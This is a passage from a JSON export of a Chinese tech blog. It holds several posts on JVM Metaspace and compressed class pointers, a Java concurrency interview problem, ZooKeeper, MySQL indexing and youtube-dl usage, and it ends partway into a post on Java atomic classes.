Space 在 64 位平台上，HotSpot 使用了两个压缩优化技术，Compressed Object Pointers (“CompressedOops”) 和 Compressed Class Pointers。\n压缩指针，指的是在 64 位的机器上，使用 32 位的指针来访问数据（堆中的对象或 Metaspace 中的元数据）的一种方式。\n这样有很多的好处，比如 32 位的指针占用更小的内存，可以更好地使用缓存，在有些平台，还可以使用到更多的寄存器。\n当然，在 64 位的机器中，最终还是需要一个 64 位的地址来访问数据的，所以这个 32 位的值是相对于一个基准地址的值。\nCompressedOops 说的是对象引用的压缩，它不在本文的讨论范围内。\n在 64 位平台上，本质上还是需要使用 64 位地址来引用每一个对象的，但是这项技术使得可以只使用 32 位地址来实现引用。大家可以参考一下评论区的讨论，这里就不展开了。\n由于本文在描述的是 Metaspace，所以我们这里不关心 Compressed Object Pointers，下面将描述 Compressed Class Pointers：\n每个 Java 对象，在它的头部，有一个引用指向 Metaspace 中的 Klass 结构。\n当使用了 compressed class pointers，这个引用是 32 位的值，为了找到真正的 64 位地址，需要加上一个 base 值：\n上面的内容应该很好理解，这项技术对 Klass 的分配带来的问题是：由于 32 位地址只能访问到 4G 的空间，所以最大只允许 4G 的 Klass 地址。这项限制也意味着，JVM 需要向 Metaspace 分配一个连续的地址空间。\n当从系统申请内存时，通过调用系统接口 malloc(3) 或 mmap(3)，操作系统可能返回任意一个地址值，所以在 64位系统中，它并不能保证在 4G 的范围内。\n所以，我们只能用一个 mmap() 来申请一个区域单独用来存放 Klass 对象。我们需要提前知道这个区域的大小，而且不能超过 4G。显然，这种方式是不能扩展的，因为这个地址后面的内存可能是被占用的。\n只有 Klass 结构有这个限制，对于其他的 class metadata 没有这个必要: 因为只有 Klass 实例是通过 Java 对象 header 中的压缩指针访问的。其他的 metadata 都是通过 64 位的地址进行访问的，所以它们可以被放到任意的地址上。\n所以，我们决定将 Metaspace 分为两个区域：non-class part 和 class part。\nclass part：存放 Klass 对象，需要一个连续的不超过 4G 的内存\nnon-class part：包含其他的所有 metadata\nclass part 被称作 Compressed Class Space，这个名字会有点怪，因为 Klass 本身其实没有使用压缩技术，而是引用它们的指针被压缩了。\ncompressed class space 空间的大小，是通过 -XX:CompressedClassSpaceSize 指定的。\n我们需要提前知道自己需要多少内存，它的默认值是 1G。当然这个 1G 并不是真的使用了操作系统的 1G，而是虚拟地址映射。\n实现 为了复用已有的 Metaspace 空间，使用了一个小技巧：\n在 Class Space 和 Non-Class Space 中，分别都有 VirtualSpaceList 和 ChunkManager 两个结构。\n但是对于 Class Space，既然我们需要一个连续的空间我们不能使用一个链表来存放所有的 Node，所以这个链表退化为只有一个节点，并且不能扩展。这个 Node 就是 compressed class space，和 Non-Class Space 中的 Node 相比，它可是巨大无比。\nClassLoaderMetaspace（记录当前类加载器持有哪些 chunks）需要两个链表，一个用于记录 Class Space 中的 chunks，一个用于记录 Non-Class Space 中的 chunks。\n到这里应该也很好理解，就是对于一个类加载器来说，它需要知道自己使用了 non-class part 中的哪些 chunks 和 class part 中的哪些 chunks。\n开关: UseCompressedClassPointers, UseCompressedOops -XX:+UseCompressedOops 允许对象指针压缩。\n-XX:+UseCompressedClassPointers 允许类指针压缩。\n它们默认都是开启的，可以手动关闭它们。\n如果不允许类指针压缩，那么将没有 compressed class space 这个空间，并且-XX:CompressedClassSpaceSize 这个参数无效。\n-XX:-UseCompressedClassPointers 需要搭配 -XX:+UseCompressedOops，但是反过来不是: 我们可以只压缩对象指针，不压缩类指针。\n这里面为什么这么规定我也不懂，但是从直觉上来说，压缩对象指针显然是比较重要的，能获得较大的收益。也许就是基于这种考量吧：你连对象指针都不压缩，类指针压缩不压缩又有什么关系呢？\n注意，对象指针压缩要求堆小于 32G，所以如果堆大于等于 32G，那么对象指针压缩和类指针压缩都会被关闭。\n32G 可不是一个掐指一算随便指定的数字，看下评论区就知道原因了。\n4、度量 Metaspace 前面我们介绍过，MaxMetaspaceSize 和 CompressedClassSpaceSize 是控制 Metaspace 的两个配置。\n回顾一下：\nMaxMetaspaceSize 最大允许 Metaspace 使用的内存，包括 Class Space 和 Non-Class Space，默认是不限制。\nCompressedClassSpaceSize 在启动的时候就限制 Class Space 的大小，默认值是 1G，启动后不可以修改。再说一遍，它是 reserved 不是 committed 的内存。\n下图展示了它们是怎么工作的：\n红色部分是 Metaspace 中已使用的系统内存，包括 Non-Class Space 链表中的红色部分和 Class Space 中大 Node 的红色部分。这个总和受到 -XX:MaxMetaspaceSize 的限制，超出将抛出 OutOfMemoryError(“Metaspace”)。\n-XX:CompressedClassSpaceSize 限制了下方的 Class Space 中，这个大 Node 的大小，包括了红色已使用的内存和蓝色未使用的内存。如果这个 Node 被用完了，会抛出 OutOfMemoryError(“Compressed Class Space”)。\n所以这意味着什么？ 当一个 Java 类被加载后，它需要 Non-Class Space 和 Class Space 的空间，而且后者通常都是被限制的(默认 1G)，所以我们总是有那么一个上限存在，即使 -XX:MaxMetaspaceSize 没有配置。\n所以，是否会触及到这个上限，取决于 Non-Class Space 和 Class Space 的使用比例。\n对于每个类，我们假设这个比例是 1: 5 （class:non-class） 。\n这意味着，对于 -XX:CompressedClassSpaceSize 的 1G 的默认值，我们的上限约 6G，1G 的 Class Space 再加约 5G 的 Non-Class Space。\n一个类大概需要多大的 Metaspace 空间 对于一个被加载到虚拟机中的类，Metaspace 需要分配 class 和 non-class 空间，那么这些空间花在哪里了呢？看下图：\n深入 Class Space： 最大的一部分是 Klass 结构，它是固定大小的。\n然后紧跟着两个可变大小的 vtable 和 itable，前者由类中方法的数量决定，后者由这个类所实现接口的方法数量决定。\n随后是一个 map，记录了类中引用的 Java 对象的地址，尽管该结构一般都很小，不过也是可变的。\nvtable 和 itable 通常也很小，但是对于一些巨大的类，它们也可以很大，一个有 30000 个方法的类，vtable 的大小会达到 240k，如果类派生自一个拥有 30000 个方法的接口，也是同理。但是这些都是测试案例，除了自动生成代码，你从来不会看到这样的类。\n深入 Non-Class Space 这个区域有很多的东西，下面这些占用了最多的空间：\n常量池，可变大小；\n每个成员方法的 metadata：ConstMethod 结构，包含了好几个可变大小的内部结构，如方法字节码、局部变量表、异常表、参数信息、方法签名等；\n运行时数据，用来控制 JIT 的行为；\n注解\nMetaspace 中的结构都继承自 MetaspaceObj，所以查看它的类继承结构能了解更详细的信息。\nClass space 和 Non-Class Space 比例 下面看一下在一些典型的应用中，它们之间的大小比例数据。\n下面是 WildFly 应用服务器，16.0.0，运行在 SAPMachine 11 平台上，没有加载任何应用。我们检查下总共需要多少 Metaspace 空间，然后计算平均每个类所需要的空间。我们使用 jcmd VM.metaspace 进行度量。\nloader #classes non-class space (avg per class) class space (/avg per class) ratio non-class/class all 11503 60381k (5.25k) 9957k (0.86k) 6.0 : 1 bootstrap 2819 16720k (5.93k) 1768k (0.62k) 9.5 : 1 app 185 1320k (7.13k) 136k (0.74k) 9.7 : 1 anonymous 869 1013k (1.16k) 475k (0.55k) 2.1 : 1 这个表告诉我们：\n对于正常的类（我们假设通过 bootstrap 和 app 加载的类是正常的），我可以得到平均每个类需要约 5-7k 的 Non-Class Space 和 600-900 bytes 的 Class Space。\n匿名类要小得多，但是也有一个有趣的事情，Class 和 Non-Class Space 之间的比例，相对的，我们需要更多的 Class Space。这也不奇怪，因为诸如 Lambda 类都是很小的，但是它的 Klass 结构不可能小于 sizeof(Klass)。所以，我们得到 1k Non-Class Space 和 0.5k Class Space。\n注意，在我们的案例中，匿名类的数据可能没有代表性，需要收集更多的匿名类，才能得到更准确的数据。\nMetaspace 默认大小 如果我们完全不设置限制 Metaspace 的大小，那么 Metaspace 可以容纳多少类呢？\nMaxMetaspaceSize 默认是没有限制的，CompressedClassSpaceSize 默认是 1G，所以我们唯一会触碰到的是 Class Space 空间的上限。\n使用上面的数据，每个类约 5-7k 的 Non-Class Space 和 600-900 bytes 的 Class Space，我们可以估算出大约 1-1.5 百万的类（假设没有碎片、没有浪费）以后会触碰到 Class Space 的 OOM。这是一个很大的数值了。\n限制 Metaspace 空间大小 免责声明：不要盲目使用你在网络上找到的规则，尤其是这些数据并非来自生产数据。\n其实我们没有什么选择，你确实可以限制 Metaspace 的空间增长，但是如果你的程序需要更多的空间用来存放 class metadata，那么你就会碰到 OOM，除了让你的代码加载更少的类，否则，你几乎是无能为力。\n和堆进行比较：你可以增加和减少堆的大小，而不必影响代码功能，所以堆的配置是比较灵活的，而 Metaspace 不具备这个特性。\n那么你为什么要限制 Metaspace 的大小呢？\n告警系统需要知道，为什么 Metaspace 空间以一个异常的速度在消耗，需要有人去看一下发生了什么。\n有时候需要限制虚拟内存地址的大小。通常我们感兴趣的是实际消耗内存，但是虚拟内存大小可能会导致虚拟机进程达到系统限制。\n注意：JDK 版本依赖：与 JDK 11或更高版本相比，JDK 8 中的元空间受到碎片的影响更大。所以在 JDK 8 环境下分配的时候，需要设置更多的缓冲。\n如果要限制 Metaspace 大小使得系统更容易被监控，同时不用在乎虚拟地址空间的大小，那么最好只设置 MaxMetaspaceSize 而不用设置 CompressedClassSpaceSize。如果要单独设置，那么最好设置 CompressedClassSpaceSize 为 MaxMetaspaceSize 的 80% 左右。\n除了 MaxMetaspaceSize 之外，减小 CompressedClassSpaceSize 的唯一原因是减小虚拟机进程的虚拟内存大小。但是，如果将 CompressedClassSpaceSize 设置得太低，则可能在用完 MaxMetaspaceSize 之前先用完了 Compressed Class Space。在大多数情况下，比率为1：2（CompressedClassSpaceSize = MaxMetaspaceSize / 2）应该是安全的。\n那么，你应该将 MaxMetaspaceSize 设置为多大呢？首先应该是计算预期的 Metaspace 使用量。你可以使用上面给出的数字，然后给每个类约 1K 的 Class Space 和 3~8K 的 Non-Class Space 作为缓冲。\n因此，如果你的应用程序计划加载10000个类，那么从理论上讲，你只需要 10M 的 Class Space 和 80M Non-Class Space。\n然后，你需要考虑安全系数。在大多数情况下，因子 2 是比较安全的。你当然也可以碰运气，设置低一点，但是要做好在碰到 OOM 后调大 Metaspace 空间的准备。\n如果设置安全因子为 2，那么需要 20M 的 Class Space 和 160M 的 Non-Class Space，也就是总大小为 180M。因此，在这里 -XX:MaxMetaspaceSize=180M 是一个很好的选择。\n关注公众号 获取更多精彩内容\n","date":"2020-04-14T02:20:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-14-shen-ru-li-jie-dui-wai-nei-cun-metaspace-zhuan-zai/cover.jpg","permalink":"/p/2020-04-14-shen-ru-li-jie-dui-wai-nei-cun-metaspace-zhuan-zai/","title":"深入理解堆外内存 Metaspace(转载)"},{"content":"\n这是一道蚂蚁金服二面的编程题\n题目：交替打印零与奇偶数\n给定一个数nums,然后交替打印出奇偶数。输出的长度为2nums,\n你应该：至少用两种方法实现，并分析出优劣势。\n举例：\n输入：nums = 3\n输出： \u0026ldquo;010203\u0026rdquo;\n这道题与我之前分享的另外一道比较像 题目在这里 ：阿里面试题分享(二)\n但实际上比那道要简单些。因为没有要求写几个线程。\n第一种解法：Lock+Condition\n1package com.oho.alg; 2 3import java.util.concurrent.locks.Condition; 4import java.util.concurrent.locks.Lock; 5import java.util.concurrent.locks.ReentrantLock; 6 7public class PrintNums { 8 9 public final Lock lock = new ReentrantLock(); 10 public Condition c0 = lock.newCondition(); 11 public Condition c1 = lock.newCondition(); 12 public int flag = 0; 13 14 private void print0(int num) { 15 16 lock.lock(); 17 try { 18 19 for (int i = 1; i \u0026lt;= num; i++) { 20 if (flag == 0) { 21 System.out.print(0); 22 flag = 1; 23 c1.signal(); 24 c0.await(); 25 } 26 27 } 28 29 } catch (InterruptedException e) { 30 e.printStackTrace(); 31 } finally { 32 lock.unlock(); 33 } 34 35 } 36 37 private void print(int num) { 38 39 lock.lock(); 40 try { 41 42 for (int i = 1; i \u0026lt;= num; i++) { 43 if (flag == 1) { 44 45 System.out.print(i); 46 flag = 0; 47 c0.signal(); 48 49 if (i \u0026lt; num) { 50 c1.await(); 51 } 52 53 } 54 55 } 56 57 } catch (InterruptedException e) { 58 e.printStackTrace(); 59 } finally { 60 lock.unlock(); 61 } 62 63 } 64 65 public void printNumsWithNum(int num) { 66 67 long start = System.currentTimeMillis(); 68 69 Thread t1 = new Thread(() -\u0026gt; print0(num)); 70 Thread t2 = new Thread(() -\u0026gt; print(num)); 71 72 t1.start(); 73 t2.start(); 74 75 try { 76 t1.join(); 77 t2.join(); 78 } catch (InterruptedException e) { 79 e.printStackTrace(); 80 } 81 System.out.println(); 82 System.out.println(\u0026#34;===============================================\u0026#34;); 83 System.out.println(\u0026#34;运行时长: \u0026#34; + (System.currentTimeMillis() - start)); 84 85 } 86 87 public static void main(String[] args) { 88 89 new PrintNums().printNumsWithNum(10); 90 91 } 92} 93 94```java 95 96第二种解法：Semaphore 97 98```cs 99package com.oho.alg; 100 101import java.util.concurrent.Semaphore; 102 103public class PrintNumsUseSemaphore { 104 105 public Semaphore s1 = new Semaphore(1); 106 public Semaphore s2 = new Semaphore(0); 107 108 private void print0(int num) { 109 110 try { 111 112 for (int i = 1; i \u0026lt;= num; i++) { 113 //获取信号量，s1 - 1 114 s1.acquire(); 115 System.out.print(0); 116 //释放信号量，s2 + 1 117 s2.release(); 118 } 119 120 } catch (InterruptedException e) { 121 e.printStackTrace(); 122 } 123 124 } 125 126 private void print(int num) { 127 128 try { 129 for (int i = 1; i \u0026lt;= num; i++) { 130 //获取信号量，s2 - 1 131 s2.acquire(); 132 System.out.print(i); 133 //释放信号量，s1 + 1 134 s1.release(); 135 } 136 137 } catch (InterruptedException e) { 138 e.printStackTrace(); 139 } 140 141 } 142 143 public void printNumsWithNum(int num) { 144 145 long start = System.currentTimeMillis(); 146 147 Thread t1 = new Thread(() -\u0026gt; print0(num)); 148 Thread t2 = new Thread(() -\u0026gt; print(num)); 149 150 t1.start(); 151 t2.start(); 152 153 try { 154 t1.join(); 155 t2.join(); 156 } catch (InterruptedException e) { 157 e.printStackTrace(); 158 } 159 System.out.println(); 160 System.out.println(\u0026#34;===============================================\u0026#34;); 161 System.out.println(\u0026#34;运行时长: \u0026#34; + (System.currentTimeMillis() - start)); 162 163 } 164 165 public static void main(String[] args) { 166 167 new PrintNumsUseSemaphore().printNumsWithNum(10); 168 169 } 170} 优劣势的话，如果在比较小的数据量下看不出来，我用nums = 800000,进行了测试：\nLock+Condition\n运行时长: 9588\u0026nbsp;毫秒Semaphore运行时长: 9013 毫秒 随着nums的增大，Lock+Condition的运行时长比Semaphore越短。看起来Lock+Condition的性能更好些。至于为什么，因为涉及到锁的原理，这里就不多了，需要大家去看看源码，翻翻资料了。\n关注公众号 获取更多精彩内容\n","date":"2020-04-13T13:16:13Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-13-fen-xiang-yi-dao-ma-yi-jin-fu-de-mian-shi-ti/cover.jpg","permalink":"/p/2020-04-13-fen-xiang-yi-dao-ma-yi-jin-fu-de-mian-shi-ti/","title":"分享一道蚂蚁金服的面试题"},{"content":"\n简介 ZooKeeper是用于维护配置信息，命名，提供分布式同步以及提供组服务的集中式服务。所有这些类型的服务都以某种形式被分布式应用程序使用。每次实施它们时，都会进行很多工作来修复不可避免的错误和竞争条件。由于难以实现这类服务，因此应用程序最初通常会跳过它们，这会使它们在发生更改时变得脆弱并且难以管理。即使部署正确，这些服务的不同实现也会导致管理复杂。\n命令集 启动 sh zkServer.sh start\n停止 sh zkServer.sh stop\n启动客户端 sh zkCli.sh\n创建 create /zk-book 123\n列表 ls /\n读取 get /zk-book\n更新 set /zk-book 456\n删除 delete /zk-book\n客户端 原生api\nzkClient\nCurator\n节点特性 持久节点（PERSISTENT） 所谓持久节点，是指在节点创建后，就一直存在，直到有删除操作来主动清除这个节点——不会因为创建该节点的客户端会话失效而消失。\n持久顺序节点（PERSISTENT_SEQUENTIAL） 这类节点的基本特性和上面的节点类型是一致的。额外的特性是，在ZK中，每个父节点会为他的第一级子节点维护一份时序，会记录每个子节点创建的先后顺序。基于这个特性，在创建子节点的时候，可以设置这个属性，那么在创建节点过程中，ZK会自动为给定节点名加上一个数字后缀，作为新的节点名。这个数字后缀的范围是整型的最大值。\n临时节点（EPHEMERAL） 和持久节点不同的是，临时节点的生命周期和客户端会话绑定。也就是说，如果客户端会话失效，那么这个节点就会自动被清除掉。注意，这里提到的是会话失效，而非连接断开。另外，在临时节点下面不能创建子节点。\n临时顺序节点（EPHEMERAL_SEQUENTIAL） 可以用来实现分布式锁\nSession Client与Zookeeper之间的通信，需要创建一个Session，这个Session会有一个超时时间。因为Zookeeper集群会把Client的Session信息持久化，所以在Session没超时之前，client与Zookeeper server的连接可以在各个Zookeeper server之间透明地移动。在实际的应用中，如果client与server之间的通信足够频繁，Session的维护就不需要其他额外的消息了。否则，Zookeeper client会每t/3 ms发一次心跳给server，如果Client 2t/3 ms没收到来自Server的心跳回应，就会切换到一个新的Zookeeper Server上。这里t就是用户配置的Session的超时时间。\nWatcher 客户端无法从该事件中获取到对应数据节点的原始数据内容以及变更后的数据内容，而是需要客户端再次主动去重新获取数据-这也是zk watcher机制的一个非常重要的特性。\nFIFO 对于每一个Zookeeper客户端而言，所有的操作都是遵循FIFO顺序的，这一特性是由下面两个基本特性来保证的：一是Zookeeper client与server之间的网络通信都是基于TCP，Tcp保证了client/server之间传输包的顺序，二是Zookeeper server执行客户端请求也是严格按照FIFO顺序的。\n存储 日志文件\n快照文件\n内存数据库\nzkDatabase,是zk的内存数据库，负责zk的所有会话、DataTree存储和事务日志。zkDatabase会定时向磁盘dump快照数据，同时在zk服务器启动的时候，会通过磁盘上的事务日志和快照数据文件恢复成一个完整的内存数据库。\n在每个ZNode上可存储少量数据(默认是1M，可以通过配置修改，通常不建议ZNode上存储大量数据)\nLeader处理所有请求，而Follow和Observer可以处理非事务请求，事务请求需要转发给Leader处理，对于每个事务请求，Leader会为其分配一个全局唯一且递增的ZXID。ZXID ，通常是一个64位的数字。每一个 ZXID 对应一次更新操作，从这些 ZXID 中可以间接地识别出 ZooKeeper 处理这些事务操作请求的全局顺序。\n数据同步: 在服务器启动阶段，会进行磁盘数据在恢复，完成数据恢复后就会进行Leader选举，一旦选举产生Leader服务器后，就立即开始进行集群间的数据同步。\n数据同步过程： 应用 数据发布/订阅 即配置中心，zk采用推拉结合的方式实现。\n数据发布与订阅，即所谓的配置中心，顾名思义就是发布者将数据发布到 ZooKeeper 节点上，供订阅者进行数据订阅，进而达到动态获取数据的目的，实现配置信息的集中式管理和动态更新。在我们平常的应用系统开发中，经常会碰到这样的需求：系统中需要使用一些通用的配置信息，例如机器列表信息、数据库配置信息等。这些全局配置信息通常具备以下3个特性。数据量通常比较小。数据内容在运行时动态变化。集群中各机器共享，配置一致。\n命名服务 类似JNDI\n分布式全局唯一ID（利用ZK的顺序节点\n命名服务也是分布式系统中比较常见的一类场景。在分布式系统中，通过使用命名服务，客户端应用能够根据指定名字来获取资源或服务的地址，提供者等信息。被命名的实体通常可以是集群中的机器，提供的服务，远程对象等等——这些我们都可以统称他们为名字（Name）。其中较为常见的就是一些分布式服务框架（如RPC、RMI）中的服务地址列表。通过在ZooKeepr里创建顺序节点，能够很容易创建一个全局唯一的路径，这个路径就可以作为一个名字。ZooKeeper 的命名服务即生成全局唯一的ID。\n分布式协调/通知 ZooKeeper 中特有 Watcher 注册与异步通知机制，能够很好的实现分布式环境下不同机器，甚至不同系统之间的通知与协调，从而实现对数据变更的实时处理。使用方法通常是不同的客户端都对ZK上同一个 ZNode 进行注册，监听 ZNode 的变化（包括ZNode本身内容及子节点的），如果 ZNode 发生了变化，那么所有订阅的客户端都能够接收到相应的Watcher通知，并做出相应的处理。ZK的分布式协调/通知，是一种通用的分布式系统机器间的通信方式。\nmysql 数据复制总线\n通用的分布式系统间通信方式\n心跳检测-利用临时节点，减少系统耦合。\n机器间的心跳检测机制是指在分布式环境中，不同机器（或进程）之间需要检测到彼此是否在正常运行，例如A机器需要知道B机器是否正常运行。在传统的开发中，我们通常是通过主机直接是否可以相互PING通来判断，更复杂一点的话，则会通过在机器之间建立长连接，通过TCP连接固有的心跳检测机制来实现上层机器的心跳检测，这些都是非常常见的心跳检测方法。下面来看看如何使用ZK来实现分布式机器（进程）间的心跳检测。基于ZK的临时节点的特性，可以让不同的进程都在ZK的一个指定节点下创建临时子节点，不同的进程直接可以根据这个临时子节点来判断对应的进程是否存活。通过这种方式，检测和被检测系统直接并不需要直接相关联，而是通过ZK上的某个节点进行关联，大大减少了系统耦合。 工作进度汇报-利用临时节点\n在一个常见的任务分发系统中，通常任务被分发到不同的机器上执行后，需要实时地将自己的任务执行进度汇报给分发系统。这个时候就可以通过ZK来实现。在ZK上选择一个节点，每个任务客户端都在这个节点下面创建临时子节点，这样便可以实现两个功能：通过判断临时节点是否存在来确定任务机器是否存活。各个任务机器会实时地将自己的任务执行进度写到这个临时节点上去，以便中心系统能够实时地获取到任务的执行进度。 系统调度\n使用zk实现分布式系统机器间的通信，不仅能省去大量底层网络通信和协议设计上的重复工作，更为重要的一点是大大降低了系统之间的耦合，能够非常方便地实现异构系统之间的灵活通信。\nMaster选举 Master 选举可以说是 ZooKeeper 最典型的应用场景了。比如 HDFS 中 Active NameNode 的选举、YARN 中 Active ResourceManager 的选举和 HBase 中 Active HMaster 的选举等。针对 Master 选举的需求，通常情况下，我们可以选择常见的关系型数据库中的主键特性来实现：希望成为 Master 的机器都向数据库中插入一条相同主键ID的记录，数据库会帮我们进行主键冲突检查，也就是说，只有一台机器能插入成功——那么，我们就认为向数据库中成功插入数据的客户端机器成为Master。依靠关系型数据库的主键特性确实能够很好地保证在集群中选举出唯一的一个Master。但是，如果当前选举出的 Master 挂了，那么该如何处理？谁来告诉我 Master 挂了呢？显然，关系型数据库无法通知我们这个事件。但是，ZooKeeper 可以做到！利用 ZooKeepr 的强一致性，能够很好地保证在分布式高并发情况下节点的创建一定能够保证全局唯一性，即 ZooKeeper 将会保证客户端无法创建一个已经存在的 ZNode。也就是说，如果同时有多个客户端请求创建同一个临时节点，那么最终一定只有一个客户端请求能够创建成功。利用这个特性，就能很容易地在分布式环境中进行 Master 选举了。成功创建该节点的客户端所在的机器就成为了 Master。同时，其他没有成功创建该节点的客户端，都会在该节点上注册一个子节点变更的 Watcher，用于监控当前 Master 机器是否存活，一旦发现当前的Master挂了，那么其他客户端将会重新进行 Master 选举。这样就实现了 Master 的动态选举。\n分布式锁 共享锁\n排他锁（Exclusive Locks，简称X锁），又称为写锁或独占锁。如果事务T1对数据对象O1加上了排他锁，那么在整个加锁期间，只允许事务T1对O1进行读取和更新操作，其他任何事务都不能在对这个数据对象进行任何类型的操作（不能再对该对象加锁），直到T1释放了排他锁。可以看出，排他锁的核心是如何保证当前只有一个事务获得锁，并且锁被释放后，所有正在等待获取锁的事务都能够被通知到。如何利用 ZooKeeper 实现排他锁？定义锁 ZooKeeper 上的一个 ZNode 可以表示一个锁。例如 /exclusive_lock/lock节点就可以被定义为一个锁。获得锁 如上所说，把ZooKeeper上的一个ZNode看作是一个锁，获得锁就通过创建 ZNode 的方式来实现。所有客户端都去 /exclusive_lock节点下创建临时子节点 /exclusive_lock/lock。ZooKeeper 会保证在所有客户端中，最终只有一个客户端能够创建成功，那么就可以认为该客户端获得了锁。同时，所有没有获取到锁的客户端就需要到/exclusive_lock节点上注册一个子节点变更的Watcher监听，以便实时监听到lock节点的变更情况。释放锁 因为 /exclusive_lock/lock 是一个临时节点，因此在以下两种情况下，都有可能释放锁。当前获得锁的客户端机器发生宕机或重启，那么该临时节点就会被删除，释放锁。正常执行完业务逻辑后，客户端就会主动将自己创建的临时节点删除，释放锁。无论在什么情况下移除了lock节点，ZooKeeper 都会通知所有在 /exclusive_lock 节点上注册了节点变更 Watcher 监听的客户端。这些客户端在接收到通知后，再次重新发起分布式锁获取，即重复『获取锁』过程。\n分布式队列 集群管理 负载均衡 关注公众号 获取更多精彩内容\n","date":"2020-04-11T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-11-zookeeper-jian-yao-zong-jie/cover.jpg","permalink":"/p/2020-04-11-zookeeper-jian-yao-zong-jie/","title":"ZooKeeper简要总结"},{"content":"\n索引类型 从物理存储角度： 聚集索引 InnoDB 叶节点包含了完整的数据记录。这种索引叫做聚集索引。因为InnoDB的数据文件本身要按主键聚集，所以InnoDB要求表必须有主键（MyISAM可以没有）\n非聚集索引 索引的逻辑顺序与磁盘上的物理存储顺序不同。非聚集索引的键值在逻辑上也是连续的，但是表中的数据在存储介质上的物理顺序是不一致的，即记录的逻辑顺序和实际存储的物理顺序没有任何联系。索引的记录节点有一个数据指针指向真正的数据存储位置。\n从数据结构角度： B-Tree索引 B-Tree索引，实际上很多存储引擎使用的是B+Tree,即每一个叶子节点都包含指向下一个叶子节点的指针，从而方便叶子节点的范围遍历。InnoDB使用的是B+Tree.\nB-Tree索引限制：\n1 如果不是按照索引的最左列开始查找，则无法使用索引。\n2 不能跳过索引中的列。\n3 如果查询中有某个列的范围查询，则其右边所有列都无法使用索引优化查找。\n全文索引 全文索引更类似于搜索引擎做的事情 ，而不是简单的where条件匹配，在相同的列上同时创建全文索引和基于值的B-Tree索引不会有冲突，全文索引适用于MATCH AGAINST操作，而不是普通的WHERE操作。\n哈希索引 基于哈希表实现，只有精确匹配所有列的查询才有效。\n空间数据索引（R-Tree） 从逻辑角度： 覆盖索引 如果一个索引包含所有需要查询的字段的值，那么我们就称之为“覆盖索引”，由于InnoDB的聚集索引，覆盖索引对InnoDB表特别有用。InnoDB的二级索引在叶子节点保存了行的主键值，所以如果二级主键能够覆盖查询，则可以避免对主键索引的二次查询。MySQL只能使用B-Tree索引做覆盖索引。如果在查询计划EXPLAIN中出现了“Using index”，就出现了覆盖索引。\n二级索引 表中的聚簇索引（clustered index ）就是一级索引，除此之外，表上的其他非聚簇索引都是二级索引，又叫辅助索引（secondary indexes）。\nInnoDB的主键采用聚簇索引存储，使用的是B+Tree作为索引结构，但是叶子节点存储的是索引值和数据本身（注意和MyISAM的不同）。\nInnoDB的二级索引不使用聚蔟索引，叶子节点存储的是KEY字段加主键值。因此，通过二级索引查询首先查到是主键值，然后InnoDB再根据查到的主键值通过主键索引找到相应的数据块。\n索引优点 索引大大减少了服务器需要扫描的数据量\n索引可以帮助服务器避免排序和临时表\n索引可以将随机IO变为顺序IO.\n如果表数量特别多，可以建立一个元数据信息表，用于记录哪个用户的信息存储在哪个表中。\n具体策略 条件过滤 如果MySQL使用某个索引进行范围查询，也就无法再使用另一个进行排序了\n尽可能将需要做范围查询的列放到索引的后面，以便优化器能使用尽可能多的索引列。\nExtra列出现 了“Using where”,表示MySQL服务器将存储引擎返回行以后再应用where 过滤条件。\n如果不能使用索引查找和锁定行的话，MySQL会做全表扫描。\n冗余和重复索引 重复索引是指在相同的列上按照相同的顺序创建的相同类型的索引。大多数情况下都不需要冗余索引，应该尽量扩展已有的索引而不是创建新索引\n索引排序 只有当索引的列顺序和ORDER BY 子名的顺序完全一致，并且所有列的排序方向（倒序或正序）都一样时，MySQL才能够使用索引来对结果做排序。如果查询需要关联多张表，则只有当ORDER BY 子句引用的字段全部为第一个表时，才能使用索引做排序。\n多列索引 在多个列上建立独立的单列索引大部分情况下并不能提高MySQL的查询性能。\n当服务器对多个索引做相交操作时（通常有多个AND条件），通常意味着需要一个包含所有相关列的多列索引，而不是多个独立的单列索引。\n其他 独立的列：是指索引不能是表达式的一部分，或者函数的参数。\n选择合适的索引列顺序。\n前缀的“基数”应该接近于完整列的“基数”\nMySQL不能在索引中执行LIKE操作，这是底层存储引擎API的限制，但能在索引中做最左前缀匹配的LIKE比较，但如果是通配符开关的LIKE查询，就无法比较。\n关注公众号 获取更多精彩内容\n","date":"2020-04-10T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-10-mysql-gao-xing-neng-suo-yin-ce-l-e/cover.jpg","permalink":"/p/2020-04-10-mysql-gao-xing-neng-suo-yin-ce-l-e/","title":"MySQL高性能索引策略"},{"content":"\n最近发现了一个神器，可以用命令行方便地下载youtube和B站视频\n这是它的开源地址：\nhttps://github.com/ytdl-org/youtube-dl\n具体安装方法上面有，我是MAC电脑就直接 用命令 brew install youtube-dl 安装了，当然如果你没有安装brew要去装一下。\n一般的B站视频这样下载：\n1youtube-dl \u0026#39;http://www.bilibili.com/video/av11728123/\u0026#39; 如果要下载youtube视频需要加本机代理（利用各种工具翻墙后）：\n1 youtube-dl --proxy 127.0.0.1:1087 \u0026#39;https://www.youtube.com/watch\\?v\\=_fc_TLg3eQ4\u0026#39; 也可以带字幕下载：\n1youtube-dl --proxy 127.0.0.1:1087 --write-auto-sub \u0026#39;https://www.youtube.com/watch?v=qOv8K-AJ7o0\u0026#39; 其他各种骚操作可以参考这里：\nhttps://www.jianshu.com/p/fa4b0724d66c\n关注公众号 获取更多精彩内容\n","date":"2020-04-10T02:05:44Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-10-youtube-b-zhan-shi-pin-ming-ling-xing-xia-zai-shen-qi/cover.jpg","permalink":"/p/2020-04-10-youtube-b-zhan-shi-pin-ming-ling-xing-xia-zai-shen-qi/","title":"youtube、B站视频命令行下载神器"},{"content":"\n一 概述 根据操作的数据类型，可以将JUC包中的原子类分为5类\n基本类型 使用原子的方式更新基本类型\nAtomicInteger：整形原子类\nAtomicLong：长整型原子类\nAtomicBoolean ：布尔型原子类\n数组类型 使用原子的方式更新数组里的某个元素\nAtomicIntegerArray：整形数组原子类\nAtomicLongArray：长整形数组原子类\nAtomicReferenceArray ：引用类型数组原子类\n引用类型\nAtomicReference：引用类型原子类\nAtomicStampedRerence：原子更新带有版本号的引用类型。该类将整数值与引用关联起来，可用于解决原子的更新数据和数据的版本号，可以解决使用 CAS 进行原子更新时可能出现的 ABA 